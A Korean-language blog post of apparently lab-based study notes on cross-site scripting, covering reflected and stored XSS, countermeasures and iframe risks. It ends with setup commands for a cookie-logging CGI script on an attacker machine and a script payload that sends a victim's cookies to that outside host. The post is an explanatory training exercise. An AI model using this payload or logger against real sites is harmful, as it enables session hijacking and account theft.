블로그의 모든 내용은 학습 목적으로만 사용하세요.
불법적인 행위에 대한 모든 책임은 당사자에 있습니다.
● Cross Site Script
CSS ~> 웹사이트 스타일시티와 이름이 같아
XSS : 이니셜만 바꾸고 부르는 이름은 같다. 크로스 사이트 스크립트
~> Client side(Endpoint) ~> 웹사이트에 있는 코드가 사용자PC에서 동작한다.
IE ~> Edge
--- : Active X ~> 브라우저가 사용자PC를 원격제어할 수 있다.
XSS
reflected(반사) : 임의의 저장소에 저장된다.
-------- : 해커가 지정한 방식으로 지정된 위치
logit.pl(CGI)
다른 피해자의 게시판
stored(저장) : 공격 코드가 서버에 저장된다.
XSS 발생원인
1. 사용자로부터 입력된 데이터를 적절한 검증없이 web document로 출력하는 경우 발생
2. 공격자가 악성 script를 입력했다면 피해자는 신뢰하는 웹서버가 악성 스크립트를 배포한 것으로 인식
3. XSS는 서버를 공격하는 것이 아니라 서버를 경유해서 클라이언트 공격
==> 브라우저 자체 방화벽
4. 일단 해킹을 당하면 스크립트로 할 수 있는 모든 기능이 가능하다.
---------------------- 해커
XSS대응책
1. 중요한 정보는 쿠키에 저장하지 않아야 한다.
~> 서버에서 사용자의 인증(세션) / 취향 / 접속정보 확인 목적으로 사용자 PC에 남기는 정보
2. 스크립트 코드에 사용되는 특수 문자 < > / 필터로 제한한다.
iframe <~ 사이트 내부에 별도의 HTML코드가 동작하는 프레임을 생성할 수 있다.
3. 게시판에서 HTML포멧을 입력할 수 없도록 한다. (HTML 에디터)
4. 스크립트 대체 및 무효화. javascript 로 들어오는 문자열 x-javascript로 대체
~> 브라우저에서 실행되지 않는다.
5. 서버관리자(홈페이지 관리자 / 홈페이지 개발자)가 점검을 잘 해야 한다.

: 위 메세지에 스크립트를 넣으면 사용자가 웹 사이트에 접속할 때 스크립트가 실행된다.

: 입력 후 Sign Guestbook을 클릭하면 사용자의 쿠키값을 화면상에 출력한다.
cookie : 사이트가 사용자를 구별하기 위해 저장해놓은 정보
~> 해커는 사이트에 스크립트를 삽입하는데, 그 스크립트 코드는 <script>가 포함되어 있다.
<script>내용</script>
<iframe> : 외부 페이지를 호출한다.
ex)
<iframe src = "https://www.youtube.com"></iframe>
● iframe 문제점
XSS 공격에 취약해집니다.
악의적인 사용자가 다른 도메인에서 스크립트를 통해 플러그인을 실행하거나 입력을 가로채는 등의 행위를
할 수 있습니다.
사용자의 개인 데이터를 피싱하여 제출할 수 있는 악의적인 웹 양식을 얻을 수 있습니다.
악의적인 사용자가 플러그인을 실행할 수 있습니다.
악의적인 사용자가 원본 사이트 URL을 변경할 수 있습니다.
악의적인 사용자가 사용자의 클릭을 도용할 수 있습니다.
악의적인 사용자가 사용자의 키 입력을 가로챌 수 있습니다.
사용성이 떨어집니다.
브라우저의 뒤로 가기 버튼이 간헐적으로 작동되지 않고, 웹의 개념 모델과는 맞지 않는 여러 속성 때문에
브라우저 오류가 발생할 수 있습니다.
브라우저의 "뒤로 가기"버튼을 간헐적으로 작동되지 않을 수 있습니다.
iframe 내의 콘텐츠를 연산한 후 frame에서 보여주므로, 해상도에 따라서 이상하게 보입니다.
iframe의 src태그의 URL이 변경되면 iframe 내의 콘텐츠가 누락될 수 있습니다.
웹 크롤링 문제
구글 웹 마스터 포럼에 따르면, "iframe이 웹 크롤링에 문제를 끼칠 수 있음"이라고 경고하고 있습니다.
iframe은 웹 크롤링에 문제를 끼칠 수 있다.
웹의 개념 모델과 일치하지 않기 때문에 검색 엔진에 문제가 일어날 수 있다.
한 페이지에는 하나의 url만 표시해야 한다.
iframe 내에서 따로 연산된 후 보이므로 필연적으로 사이트의 overhead를 유발한다.
HTML5가 차세대 웹 표준으로 정해지면서 iframe을 대신할 수 있는 여러 가지 태그들이 추가되었으니 이를
활용하시면 됩니다. 물론 피치 못할 사정으로 html을 직접 삽입해야만 한다면 아직도 iframe방식이 가장
좋은 방식이라고는 합니다.
XSS 해킹과정
1. 해커 ~> 정상적인 서버를 해킹 <~ script 코드 삽입
해커 ~> 피해자에게 정상적인 서버 URL 전송 ~> 서버에 접속 ~> 피해자PC에 악성 스크립트 실행
● 쿠키값 로그에 저장
mkdir -p /var/www/logdir
chown apache:apache /var/www/logdir
chmod 700 /var/www/logdir
ls -ld /var/www/logdir
cd /var/www/cgi-bin/
wget http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson16/logit.pl.TXT
mv logit.pl.TXT logit.pl
chown apache:apache logit.pl
chmod 700 logit.pl
perl -c logit.pl
공격코드
<script>document.location='http://10.200.0.10/cgi-bin/logit.pl?'+document.cookie</script>

